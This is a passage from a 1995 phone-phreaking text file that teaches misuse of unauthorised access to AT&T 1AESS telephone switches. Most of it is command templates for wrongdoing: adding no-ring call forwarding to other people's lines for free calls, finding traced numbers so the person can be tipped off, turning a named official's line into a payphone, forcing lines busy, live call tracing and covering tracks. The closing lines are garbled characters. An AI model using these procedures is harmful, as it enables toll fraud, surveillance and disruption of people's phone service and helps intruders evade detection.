|
services made 1ESS switching equipment a natural replacement vehicle in
|
|||
|
|
city applications where the demand for new, sophisticated business and
|
|||
|
|
residence services is high.
|
|||
|
|
|
|||
|
|
In 1976, the first electronic toll switching system to operate a digital
|
|||
|
|
time-division switching network under stored-program control, the 4ESS
|
|||
|
|
system, was placed in service. It used a new control, the 1A processor,
|
|||
|
|
for the first time to gain a call carrying capacity in excess of 550,000
|
|||
|
|
busy-hour calls. The 1A processor was also designed for local switching
|
|||
|
|
application. It doubled the call-carrying capacity of the 1ESS switching
|
|||
|
|
system and was introduced in 1976 in the first 1AESS switch. The network
|
|||
|
|
capacity of 1ESS switching equipment was also doubled to allow the 1AESS
|
|||
|
|
switch to serve 130,000 lines.
|
|||
|
|
|
|||
|
|
In addition to local telephone service, the 1AESS switches offer a variety
|
|||
|
|
of special services. Custom Local Area Switching Services (CLASS) are
|
|||
|
|
available as well Custom Calling Services. Business customers may select
|
|||
|
|
offerings such as centrex, ESS-ACS, Enhanced Private Switched Communications
|
|||
|
|
Service, or electronic tandem switching.
|
|||
|
|
|
|||
|
|
Although more modern switches like 5ESS and DMS 200 have been developed, it
|
|||
|
|
is estimated that some 50 percent of all switches are still 1AESS.
|
|||
|
|
|
|||
|
|
Commands
|
|||
|
|
-=-=-=-=
|
|||
|
|
The 1AESS uses a command line interface for all commands. The commands are
|
|||
|
|
divided into three fields: action, identification, and data. The fields
|
|||
|
|
are always separted by a colon. Every command is terminated by either a
|
|||
|
|
period for verification commands or a 'ballbat' (!) for change commands.
|
|||
|
|
The control-d is used to execute the command instead of a return. The
|
|||
|
|
underscore is used as a backspace. Commands are always typed in 'all caps'.
|
|||
|
|
|
|||
|
|
The action field is the first field of the command and is ended by a colon.
|
|||
|
|
The identification field is ended by the second colon. The identification
|
|||
|
|
field has one or two subfields which are separated by a semicolon. Semicolons
|
|||
|
|
are not used elsewhere in the command. The data field consists of keyword
|
|||
|
|
units and is the remaining portion of the command.
|
|||
|
|
|
|||
|
|
Basic Machine Commands
|
|||
|
|
-=-=-=-=-=-=-=-=-=-=-=
|
|||
|
|
These commands provide useful information from the system. The WHO-RV-
|
|||
|
|
command will tell you what CO it is and what version of the OS is installed.
|
|||
|
|
If your output is scrolling off the screen press space to end scrolling.
|
|||
|
|
The V-STOP- command will clear the buffer.
|
|||
|
|
|
|||
|
|
WHO-RV-. System information.
|
|||
|
|
SPACE Stops output from scrolling.
|
|||
|
|
V-STOP-. Free buffer of remaining LENS/INFO.
|
|||
|
|
|
|||
|
|
Channel Commands
|
|||
|
|
-=-=-=-=-=-=-=-=
|
|||
|
|
Channel commands are used to redirect input and output. If a switch won't
|
|||
|
|
respond to a command use the OP:CHAN command to check on current channel.
|
|||
|
|
If your channel is not responding, use the MON:CHAN command to switch output
|
|||
|
|
and control to your terminal (the remote). You can check the status of the
|
|||
|
|
RC with the RCCENSUS command.
|
|||
|
|
|
|||
|
|
OP:CHAN:MON! Shows all channels which are being monitored.
|
|||
|
|
MON:CHAN SC1;CHAN LOC! Redirect output to remote screen.
|
|||
|
|
STOP: MON;CHAN SC1;CHAN LOC! Redirect output to local screen.
|
|||
|
|
(This command needs to be done after you
|
|||
|
|
are finished to help cover your tracks)
|
|||
|
|
OP:RCCENSUS! To see recent change status.
|
|||
|
|
|
|||
|
|
|
|||
|
|
Tracing Commands
|
|||
|
|
-=-=-=-=-=-=-=-=
|
|||
|
|
CI-LIST- will give you a list of all numbers which are being traced
|
|||
|
|
externally. It will not show you lines which are being traced
|
|||
|
|
internally, ie: numbers inside one of the prefixes controlled
|
|||
|
|
by the switch you are on.
|
|||
|
|
|
|||
|
|
CI-LIST-. Traced line list.
|
|||
|
|
|
|||
|
|
|
|||
|
|
Check Features on Line
|
|||
|
|
-=-=-=-=-=-=-=-=-=-=-=
|
|||
|
|
The VF command is used to check the current settings on a line.
|
|||
|
|
The DN XXXXXXX specifies the phone number of the line you wish to check.
|
|||
|
|
Replace XXXXXXX with the seven digit phone number of the line you are
|
|||
|
|
checking.
|
|||
|
|
|
|||
|
|
VF:DNSVY:FEATRS,DN XXXXXXX,1,PIC! Check features of a line.
|
|||
|
|
VF:DNSVY:DN XXXXXXX,1,LASFTRS! Display last Features
|
|||
|
|
|
|||
|
|
Call Features CWT- Call Waiting
|
|||
|
|
CFB- Call Forward Busy - Busy=VM
|
|||
|
|
CFV- Call Forwarding Variable
|
|||
|
|
CFD- Call Forward Don't answer
|
|||
|
|
TWC- Three Way Calling
|
|||
|
|
TTC- Touch Tone
|
|||
|
|
RCY- Ring Cycle
|
|||
|
|
SC1- Speed Calling 1
|
|||
|
|
SC2- Speed Calling 2
|
|||
|
|
UNA- No Long Distance
|
|||
|
|
PXX- Block all LD service (guess)
|
|||
|
|
MWI- Message Waiting Indicator
|
|||
|
|
CHD- centrex(unremarkable)
|
|||
|
|
CPU- centrex(unremarkable)
|
|||
|
|
CLI- Calling Line Identification (CID)
|
|||
|
|
ACB- Automatic Call Back Feature (?)
|
|||
|
|
BLN- Special Toll Billing
|
|||
|
|
FRE- Free Calling
|
|||
|
|
|
|||
|
|
The standard output of a command appears below. The 'DN 348 2141' specifies
|
|||
|
|
the number you are checking. The calling features will be listed on the
|
|||
|
|
second line by their three letter acronyms. This line has call waiting
|
|||
|
|
(CWT), a trace (TRC), and touch tone dialing (TTC).
|
|||
|
|
|
|||
|
|
Example of 1A output:
|
|||
|
|
|
|||
|
|
M 53 TR75 2 DN 348 2141 00000003
|
|||
|
|
CWT TRC TTC
|
|||
|
|
|
|||
|
|
|
|||
|
|
Searching For Free Lines
|
|||
|
|
-=-=-=-=-=-=-=-=-=-=-=-=
|
|||
|
|
The VFY command can be used to check if a line is in use. The output will
|
|||
|
|
list the LEN (Line Equipment Number) for the line and its call features in
|
|||
|
|
octal. If the LEN is all zeros, then that number has not been assigned.
|
|||
|
|
Replace XXXXXXX with the number you wish to check. You must prefix the
|
|||
|
|
phone number with 30. You can also check for unused LEN's using the VFY
|
|||
|
|
command. Use the space bar to stop scrolling and the V-STOP command to
|
|||
|
|
cancel when looking up free LEN's.
|
|||
|
|
|
|||
|
|
VFY-DN-30XXXXXXX. Search for free lines.
|
|||
|
|
VFY-LEN-4100000000. List all free LENs.
|
|||
|
|
VFY-TNN-XXXXXXXX. To get information on trunk.
|
|||
|
|
|
|||
|
|
The output for the VFY-DN command will appear like the one below. Notice
|
|||
|
|
that this number has been assigned a LEN so it is in use.
|
|||
|
|
|
|||
|
|
M 06 TR01 796 9146
|
|||
|
|
0 0 0 0
|
|||
|
|
LEN 01 025 000
|
|||
|
|
001 000 000 000 000 000 4
|
|||
|
|
000 000 000 000 000 000 000 000
|
|||
|
|
0 0 0 0
|
|||
|
|
0 0 0 0 0
|
|||
|
|
|
|||
|
|
|
|||
|
|
Searching for a Particular Feature on a Line (like trace)
|
|||
|
|
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
|
|||
|
|
All line information is stored in the switch for its coverage area. The
|
|||
|
|
switch is like a huge database in this sense. You can do global searches
|
|||
|
|
on the switch for any feature. One especially interesting feature to search
|
|||
|
|
for are traced numbers. Traced numbers listed this way are INTERNALLY
|
|||
|
|
traced as opposed to globally traced numbers shown with the CI-LIST- command.
|
|||
|
|
Global and internal trace lists are always very different. And remember,
|
|||
|
|
be a good samaritan and call the person being traced and let them know! ;-)
|
|||
|
|
|
|||
|
|
VF:DNSVY:FEATRS,EXMATCH TRACE! Pull all numbers IN switch area with
|
|||
|
|
trace on it (takes a sec).
|
|||
|
|
|
|||
|
|
You can exmatch for any LASS feature by replacing the keyword TRACE with any
|
|||
|
|
call feature like call forwarding (CFB) and speed calling (SC1).
|
|||
|
|
|
|||
|
|
|
|||
|
|
To See What Numbers Are on a Speed Calling List
|
|||
|
|
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
|||
|
|
Another nice use for the VFY command is to see what is on a line's speed
|
|||
|
|
calling list. Replace XXXXXXX with the target phone number. One devious
|
|||
|
|
use is to look at the CO's speed call list to find other internal telco
|
|||
|
|
numbers.
|
|||
|
|
|
|||
|
|
VFY-LIST-09XXXXXXX020000
|
|||
|
|
09=mask 02=single list (one digit speed calling)
|
|||
|
|
20=double list (two digit speed calling)
|
|||
|
|
28= " "
|
|||
|
|
36= " "
|
|||
|
|
44= " "
|
|||
|
|
|
|||
|
|
|
|||
|
|
To Build a Line
|
|||
|
|
-=-=-=-=-=-=-=-
|
|||
|
|
The recent change command (RC) is used to create and modify lines. Because
|
|||
|
|
RC commands are usually very long and complex, they are typed on multiple
|
|||
|
|
lines to simplify them. Each subfield of the data section of the command is
|
|||
|
|
typed on a separate line ended by a slash (\) followed by pressing ctrl-d.
|
|||
|
|
To create a line, you specify LINE in the identification field. Before
|
|||
|
|
a line can be created, you must first locate an unused number by using the
|
|||
|
|
VFY-DN command explained above. Once a free number has been found, you
|
|||
|
|
use the VFY-LEN to find an available LEN. To build a new line, follow
|
|||
|
|
these steps:
|
|||
|
|
|
|||
|
|
First, find spare LEN (VFY-LEN-4100000000.). Next find free line. Now type
|
|||
|
|
in the RC commands using the following commands as a template:
|
|||
|
|
|
|||
|
|
RC:LINE:\ (create a line)
|
|||
|
|
ORD 1\ (execute the command immediately)
|
|||
|
|
TN XXXXXXX\ (telephone number)
|
|||
|
|
LEN XXXXXXXX\ (len found from above)
|
|||
|
|
LCC 1FR\ (line class code 1fr)
|
|||
|
|
CFV\ (call forward)
|
|||
|
|
XXX 288\ (type XXX, space, then the three digit PIC)
|
|||
|
|
ld carrier - 222 - MCI
|
|||
|
|
288 - AT&T
|
|||
|
|
333 - Sprint, etc.)
|
|||
|
|
! (BEWM, don't forget the ctrl-d!!)
|
|||
|
|
|
|||
|
|
(Look for RCXX blah blah ACPT blah - This means the RECENT CHANGE
|
|||
|
|
has taken affect)
|
|||
|
|
|
|||
|
|
|
|||
|
|
Creating Call Forwarding Numbers
|
|||
|
|
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
|
|||
|
|
The call forwarding feature is the most important feature for hackers. By
|
|||
|
|
creating a line or modifying an existing line with call forwarding, you can
|
|||
|
|
than use it to make free phone calls. You set the line to call forward/
|
|||
|
|
no ring and then give it the call forwarded number. This will allow you
|
|||
|
|
to call the modified line and be instantly forwarded to your pre-chosen
|
|||
|
|
destination.
|
|||
|
|
|
|||
|
|
First create a line using RC:LINE:, then modify the line using the following
|
|||
|
|
commands as a template.
|
|||
|
|
|
|||
|
|
RC:CFV:\ (add call forwarding to a line.. begin: )
|
|||
|
|
ORD 1\ (execute the command immediately)
|
|||
|
|
BASE XXXXXXX\ (base number you are changing)
|
|||
|
|
TO XXXXXXX\ (local - XXXXXXX : ld - XXXXXXXXXX )
|
|||
|
|
PFX\ (set prefix to 1 if ld)
|
|||
|
|
! (BEWM)
|
|||
|
|
|
|||
|
|
|
|||
|
|
To Change Call Forward Number
|
|||
|
|
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
|||
|
|
It is safer to modify an existing call forward than to create a new line
|
|||
|
|
solely for this purpose. You can use the VFY command and EXMATCH for CFB to
|
|||
|
|
find lines with call forwarding. Before you can change the call forwarding
|
|||
|
|
'TO' number you must delete the old one. Remove call forward number using
|
|||
|
|
CFV:OUT with the template below.
|
|||
|
|
|
|||
|
|
RC:CFV;OUT:\ (remove call forward number...begin: )
|
|||
|
|
ORD 1\ (execute command immediately)
|
|||
|
|
BASE XXXXXXX\ (number to remove it from)
|
|||
|
|
! (Yeeee-Hahhhahah)
|
|||
|
|
|
|||
|
|
|
|||
|
|
Make Call Forward Not Ring
|
|||
|
|
-=-=-=-=-=-=-=-=-=-=-=-=-=
|
|||
|
|
The only drawback to call forwarding off someone's line is if rings they
|
|||
|
|
might answer. To get around this, you add the call-forward no-ring option
|
|||
|
|
(ICFRR) using the following as a template.
|
|||
|
|
|
|||
|
|
RC:LINE;CHG:\ (recent change line to be specified)
|
|||
|
|
ORD 1\ (execute command immediately)
|
|||
|
|
TN XXXXXXX\ (number you wanna fuck with)
|
|||
|
|
ICFRR\ (this takes the ring off)
|
|||
|
|
! (Go!)
|
|||
|
|
|
|||
|
|
|
|||
|
|
Adding a feature to a line
|
|||
|
|
-=-=-=-=-=-=-=-=-=-=-=-=-=
|
|||
|
|
The RC:LINE;CHG: can also be used to add any other call feature. Use the
|
|||
|
|
same template but change the feature.
|
|||
|
|
|
|||
|
|
RC:LINE;CHG:\ (this is used for changing features)
|
|||
|
|
ORD 1\ (order number)
|
|||
|
|
TN XXXXXXX (telephone number you are fucking with)
|
|||
|
|
TWC\ (replace this with any feature you wish)
|
|||
|
|
! (Fire!)
|
|||
|
|
|
|||
|
|
|
|||
|
|
Removing a Feature
|
|||
|
|
-=-=-=-=-=-=-=-=-=
|
|||
|
|
Use the NO delimiter to remove a feature from a line.
|
|||
|
|
|
|||
|
|
RC:LINE;CHG:\ (change a feature)
|
|||
|
|
ORD 1\ (effective immediately)
|
|||
|
|
TN XXXXXXX\ (telephone number)
|
|||
|
|
CFV NO\ (feature followed by NO)
|
|||
|
|
! (Boo-Ya!)
|
|||
|
|
|
|||
|
|
|
|||
|
|
Change Phone number into payphone
|
|||
|
|
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
|||
|
|
You've read about in the Hacker Crackdown, now you too can be 31337 and
|
|||
|
|
change Gail Thackery's phone into a payphone. In fact you can change the
|
|||
|
|
line class code (LCC) to anything you want. To display the LCC of a line
|
|||
|
|
use the following and replace the XXXXXXX with the line you wish to view.
|
|||
|
|
|
|||
|
|
VF:DNSVY:LCC,DN XXXXXXX,1,PIC! (display line class code)
|
|||
|
|
DTF = Payphone
|
|||
|
|
1FR = Flat Rate
|
|||
|
|
1MR = Measured Rate
|
|||
|
|
1PC = One Pay Phone
|
|||
|
|
CDF = DTF Coin
|
|||
|
|
PBX = Private Branch Exchange
|
|||
|
|
CFD = Coinless(ANI7) Charge-a-call
|
|||
|
|
INW = InWATS (800!@#)
|
|||
|
|
OWT = OutWATS
|
|||
|
|
PBM = O HO/MO MSG REG (NO ANI)
|
|||
|
|
PMB = LTG = 1 HO/MO (Regular ANI6)
|
|||
|
|
(ani6 and ani7 - only good for DMS)
|
|||
|
|
|
|||
|
|
To change the line into a payphone use the RC:LINE;CHG command and modify
|
|||
|
|
the LCC like the example below.
|
|||
|
|
|
|||
|
|
RC:LINE;CHG;\ (this is used for changing features)
|
|||
|
|
ORD 1\ (order number)
|
|||
|
|
TN XXXXXXX\ (telephone number you are fucking with)
|
|||
|
|
LCC DTF\ (line class code you are changing to)
|
|||
|
|
! (Make it so.)
|
|||
|
|
|
|||
|
|
*(You may have to remove some LASS features when doing this)*
|
|||
|
|
|
|||
|
|
|
|||
|
|
To Kill a Line and Remove It Permanently
|
|||
|
|
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
|
|||
|
|
If you need to delete a line you have created (or haven't) use the following
|
|||
|
|
syntax.
|
|||
|
|
|
|||
|
|
RC:LINE;OUT:\ (remove line)
|
|||
|
|
ORD 1\ (effective immediately)
|
|||
|
|
TN XXXXXXX\ (on this number)
|
|||
|
|
! (GO!)
|
|||
|
|
|
|||
|
|
|
|||
|
|
Monitoring Phone Calls
|
|||
|
|
-=-=-=-=-=-=-=-=-=-=-=
|
|||
|
|
There are powerful utilities to monitor calls and affect phone lines
|
|||
|
|
available on a 1A. The T-DN- commands allow you to check the current
|
|||
|
|
status of line and make it busy or idle. If a line happens to be active
|
|||
|
|
you can use the NET-LINE- command to trace the call and find the numbers
|
|||
|
|
for both calling parties.
|
|||
|
|
|
|||
|
|
T-DN-RD XXXXXXX. See if call in progress.
|
|||
|
|
output: =1 line busy
|
|||
|
|
=0 line idle
|
|||
|
|
T-DN-MB XXXXXXX. Make line busy.
|
|||
|
|
T-DN-MI XXXXXXX. Make line idle.
|
|||
|
|
NET-LINE-XXXXXXX0000. To do a live trace on a phonenumber thru
|
|||
|
|
switch.
|
|||
|
|
NET-TNN-XXXXXX Same as above for trunk trace
|
|||
|
|
|
|||
|
|
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
|
|||
|
|
|
|||
|
|
Appendix 1 - Common output messages seen on 1A switches
|
|||
|
|
-=-=-=-=-=
|
|||
|
|
|
|||
|
|
** ALARM **
|
|||
|
|
|
|||
|
|
AR01 Office alarm
|
|||
|
|
AR02 Alarm retired or transferred
|
|||
|
|
AR03 Fuse blown
|
|||
|
|
AR04 Unknown alarm scan point activated
|
|||
|
|
AR05 Commercial power failure
|
|||
|
|
AR06 Switchroom alarm via alarm grid
|
|||
|
|
AR07 Power plant alarm
|
|||
|
|
AR08 Alarm circuit battery loss
|
|||
|
|
AR09 AMA bus fuse blown
|
|||
|
|
AR10 Alarm configuration has been changed (retired,inhibited)
|
|||
|
|
AR11 Power converter trouble
|
|||
|
|
AR13 Carrier group alarm
|
|||
|
|
AR15 Hourly report on building and power alarms
|
|||
|
|
|
|||
|
|
** AUTOMATIC TRUNK TEST **
|
|||
|
|
AT01 Results of trunk test
|
|||
|
|
|
|||
|
|
** CARRIER GROUP **
|
|||
|
|
CG01 Carrier group in alarm
|
|||
|
|
CG03 Reason for above
|
|||
|
|
|
|||
|
|
** COIN PHONE **
|
|||
|
|
CN02 List of pay phones with coin disposal problems
|
|||
|
|
CN03 Possible Trouble
|
|||
|
|
CN04 Phone taken out of restored service because of possible coin fraud
|
|||
|
|
|
|||
|
|
** COPY **
|
|||
|
|
COPY Data copied from one address to another
|
|||
|
|
|
|||
|
|
** CALL TRACE **
|
|||
|
|
CT01 Manually requested trace line to line, information follows
|
|||
|
|
CT02 Manually requested trace line to trunk, information follows
|
|||
|
|
CT03 Intraoffice call placed to a number with CLID
|
|||
|
|
CT04 Interoffice call placed to a number with CLID
|
|||
|
|
CT05 Call placed to number on the CI list
|
|||
|
|
CT06 Contents of the CI list
|
|||
|
|
CT07 ACD related trace
|
|||
|
|
CT08 ACD related trace
|
|||
|
|
CT09 ACD related trace
|
|||
|
|
|
|||
|
|
** DIGITAL CARRIER TRUNK **
|
|||
|
|
DCT COUNTS Count of T carrier errors
|
|||
|
|
|
|||
|
|
** MEMORY DIAGNOSTICS **
|
|||
|
|
DGN Memory failure in cs/ps diagnostic program
|
|||
|
|
|
|||
|
|
** DIGITAL CARRIER "FRAME" ERRORS **
|
|||
|
|
FM01 DCT alarm activated or retired
|
|||
|
|
FM02 Possible failure of entire bank not just frame
|
|||
|
|
FM03 Error rate of specified digroup
|
|||
|
|
FM04 Digroup out of frame more than indicated
|
|||
|
|
FM05 Operation or release of the loop terminal relay
|
|||
|
|
FM06 Result of digroup circuit diagnostics
|
|||
|
|
FM07 Carrier group alarm status of specific group
|
|||
|
|
FM08 Carrier group alarm count for digroup
|
|||
|
|
FM09 Hourly report of carrier group alarms
|
|||
|
|
FM10 Public switched digital capacity failure
|
|||
|
|
FM11 PUC counts of carrier group errors
|
|||
|
|
|
|||
|
|
** MAINTENANCE **
|
|||
|
|
MA02 Status requested, print out of MACII scratch pad
|
|||
|
|
MA03 Hourly report of system circuits and units in trouble
|
|||
|
|
MA04 Reports condition of system
|
|||
|
|
MA05 Maintenance interrupt count for last hour
|
|||
|
|
MA06 Scanners,network and signal distributors in trouble
|
|||
|
|
MA07 Successful switch of duplicated unit (program store etc.)
|
|||
|
|
MA08 Excessive error rate of named unit
|
|||
|
|
MA09 Power should not be removed from named unit
|
|||
|
|
MA10 OK to remove paper
|
|||
|
|
MA11 Power manually removed from unit
|
|||
|
|
MA12 Power restored to unit
|
|||
|
|
MA13 Indicates central control active
|
|||
|
|
MA15 Hourly report of # of times interrupt recovery program acted
|
|||
|
|
MA17 Centrex data link power removed
|
|||
|
|
MA21 Reports action taken on MAC-REX command
|
|||
|
|
MA23 4 minute report, emergency action phase triggers are inhibited
|
|||
|
|
|
|||
|
|
** MEMORY **
|
|||
|
|
MN02 List of circuits in trouble in memory
|
|||
|
|
|
|||
|
|
** NETWORK TROUBLE **
|
|||
|
|
NT01 Network frame unable to switch off line after fault detection
|
|||
|
|
NT02 Network path trouble Trunk to Line
|
|||
|
|
NT03 Network path trouble Line to Line
|
|||
|
|
NT04 Network path trouble Trunk to Trunk
|
|||
|
|
NT06 Hourly report of network frames made busy
|
|||
|
|
NT10 Network path failed to restore
|
|||
|
|
|
|||
|
|
** OPERATING SYSTEM STATUS **
|
|||
|
|
OP:APS-0
|
|||
|
|
OP:APSTATUS
|
|||
|
|
OP:CHAN
|
|||
|
|
OP:CISRC Source of critical alarm, automatic every 15 minutes
|
|||
|
|
OP:CSSTATUS Call store status
|
|||
|
|
OP:DUSTATUS Data unit status
|
|||
|
|
OP:ERAPDATA Error analysis database output
|
|||
|
|
OP:INHINT Hourly report of inhibited devices
|
|||
|
|
OP:LIBSTAT List of active library programs
|
|||
|
|
OP:OOSUNITS Units out of service
|
|||
|
|
OP:PSSTATUS Program store status
|
|||
|
|
|
|||
|
|
** PLANT MEASUREMENTS **
|
|||
|
|
PM01 Daily report
|
|||
|
|
PM02 Monthly report
|
|||
|
|
PM03 Response to a request for a specific section of report
|
|||
|
|
PM04 Daily summary of IC/IEC irregularities
|
|||
|
|
|
|||
|
|
** REPORT **
|
|||
|
|
REPT:ADS FUNCTION Reports that a ADS function is about to occur
|
|||
|
|
REPT:ADS FUNCTION DUPLEX FAILED No ADS assigned
|
|||
|
|
REPT:ADS FUNCTION SIMPLEX Only one tape drive is assigned
|
|||
|
|
REPT:ADS FUNCTION STATE CHANGE Change in state of ADS
|
|||
|
|
REPT:ADS PROCEDURAL ERROR You fucked up
|
|||
|
|
REPT:LINE TRBL Too many permanent off hooks, may indicate bad cable
|
|||
|
|
REPT:PROG CONT OFF-NORMAL System programs that are off or on
|
|||
|
|
REPT:RC CENSUS Hourly report on recent changes
|
|||
|
|
REPT:RC SOURCE Recent change system status (RCS=1 means RC Channel inhibited)
|
|||
|
|
|
|||
|
|
** RECENT CHANGE **
|
|||
|
|
RC18 RC message response
|
|||
|
|
|
|||
|
|
** REMOVE **
|
|||
|
|
RMV Removed from service
|
|||
|
|
|
|||
|
|
** RESTORE **
|
|||
|
|
RST Restored to service status
|
|||
|
|
|
|||
|
|
** RINGING AND TONE PLANT **
|
|||
|
|
RT04 Status of monitors
|
|||
|
|
|
|||
|
|
** SOFTWARE AUDIT **
|
|||
|
|
SA01 Call store memory audit results
|
|||
|
|
SA03 Call store memory audit results
|
|||
|
|
|
|||
|
|
** SIGNAL IRREGULARITY **
|
|||
|
|
SIG IRR Blue box detection
|
|||
|
|
SIG IRR INHIBITED Detector off
|
|||
|
|
SIG IRR TRAF Half hour report of traffic data
|
|||
|
|
|
|||
|
|
** TRAFFIC CONDITION **
|
|||
|
|
TC15 Reports overall traffic condition
|
|||
|
|
TL02 Reason test position test was denied
|
|||
|
|
TL03 Same as above
|
|||
|
|
|
|||
|
|
** TRUNK NETWORK **
|
|||
|
|
TN01 Trunk diagnostic found trouble
|
|||
|
|
TN02 Dial tone delay alarm failure
|
|||
|
|
TN04 Trunk diag request from test panel
|
|||
|
|
TN05 Trunk test procedural report or denials
|
|||
|
|
TN06 Trunk state change
|
|||
|
|
TN07 Response to a trunk type and status request
|
|||
|
|
TN08 Failed incoming or outgoing call
|
|||
|
|
TN09 Network relay failures
|
|||
|
|
TN10 Response to TRK-LIST input, usually a request from test position
|
|||
|
|
TN11 Hourly, status of trunk undergoing tests
|
|||
|
|
TN16 Daily summary of precut trunk groups
|
|||
|
|
|
|||
|
|
** TRAFFIC OVERLOAD CONDITION **
|
|||
|
|
TOC01 Serious traffic condition
|
|||
|
|
TOC02 Reports status of less serious overload conditions
|
|||
|
|
|
|||
|
|
** TRANSLATION ** (shows class of service, calling features etc.)
|
|||
|
|
TR01 Translation information, response to VFY-DN
|
|||
|
|
TR03 Translation information, response to VFY-LEN
|
|||
|
|
TR75 Translation information, response to VF:DNSVY
|
|||
|
|
** **
|
|||
|
|
TW02 Dump of octal contents of memory
|
|||
|
|
|
|||
|
|
Trace Output Appearance (COT - Customer Oriented Trace)
|
|||
|
|
A 03 CT04 22 03 02 05 11 26 359 705 8500 <-- NUMBER CALLED
|
|||
|
|
CPN 212 382 8923 <-- WHO CALLED
|
|||
|
|
|
|||
|
|
01/14/95 22:03:02 <-- TIME/DATE
|
|||
|
|
#236 <-- JOB NUMBER
|
|||
|
|
|
|||
|
|
|
|||
|
|
Appendix 2 - Miscellaneous 1A Commands found on logs from CO dumpsters:
|
|||
|
|
-=-=-=-=-=
|
|||
|
|
|
|||
|
|
RMV::NPC 69!
|
|||
|
|
UTL::QRY.CMAP 136!
|
|||
|
|
UTL::QRY.SCON to 135! (as far out as to 12003!)
|
|||
|
|
UTL::QRY.SCON 13615/01!
|
|||
|
|
UTL::QRY.ALMS!
|
|||
|
|
UTL::QRY,WHO!
|
|||
|
|
UTL::QRY,ALL!
|
|||
|
|
UTL::QRY,FPKG!
|
|||
|
|
UTL::QRY,UNIT1,FTMI1, EQL
|
|||
|
|
GRTH::UNIT1! (FT100) <-- comment written by command
|
|||
|
|
GRTH::UNI1,FTMI1, EQL(L,R) (2,2) <-- Example
|
|||
|
|
UTL::QRY.!
|
|||
|
|
RMV::LINK 3!
|
|||
|
|
DGN::LINK 3!
|
|||
|
|
RST::LINK 3!
|
|||
|
|
UTL::QRY.TPS!
|
|||
|
|
|
|||
|
|
RST::TAPE! (This and the next two commands were
|
|||
|
|
UTL::BMTR.FROM DISK.TO TAPE! ALWAYS found together, and are pretty
|
|||
|
|
RMV::TAPE! obvious)
|
|||
|
|
|
|||
|
|
SDIS::FROM 11204/03.TO 11204/04!
|
|||
|
|
UTL::QRY.SCON.CH.TO 11204!
|
|||
|
|
UTL::QRY.CMAP.TO 11204/03!
|
|||
|
|
UTL::QRY,CMAP 01117!
|
|||
|
|
SCON::RATE 96.FROM 11204/03.TO 11204/4!
|
|||
|
|
LOGIN::USER DAX\
|
|||
|
|
UTL::EQD,NPCS!
|
|||
|
|
ADD::LINK 2,NPCAD E!
|
|||
|
|
|
|||
|
|
UTL::LOC,ETSI 101!
|
|||
|
|
|_|____________Bay (These show physical locations
|
|||
|
|
|____________Unit of trunks)
|
|||
|
|
|
|||
|
|
UTL::LOC,NPC 01117!
|
|||
|
|
output - 1-01-38
|
|||
|
|
|__|__|_________Bay
|
|||
|
|
|__|_________Unit
|
|||
|
|
|_________38(1/8) inches
|
|||
|
|
|
|||
|
|
|
|||
|
|
Appendix 3 - Suggested reading
|
|||
|
|
-=-=-=-=-=
|
|||
|
|
|
|||
|
|
Acronyms 1988 (Phrack #20, file 11)
|
|||
|
|
Central Office Operations by Agent Steal (LoDTJ #4, file 4)
|
|||
|
|
ESS & 1A Switching Systems by Ninja Master
|
|||
|
|
The Fine Art of Telephony by Crimson Flash (Phrack #38, file 7)
|
|||
|
|
Guide to 5ESS by Firm G.R.A.S.P. (Phrack #43, file 16)
|
|||
|
|
Lifting Ma Bell's Cloak of Secrecy by VaxCat (Phrack #24, file 9)
|
|||
|
|
Operator Services Position System by Bandito (Phun #5, file 8)
|
|||
|
|
Peering Into the soul of ESS by Jack the Ripper (Phun #5, file 2)
|
|||
|
|
|
|||
|
|
__________________________________________________________________________
|
|||
|
|
(C)opywrong 1995, DeadKat Inc.
|
|||
|
|
All wrongs denied.
|
|||
|
|
|
|||
|
|
<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ
|
|||
|
|
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> Thank you for abusing AT&T <20>
|
|||
|
|
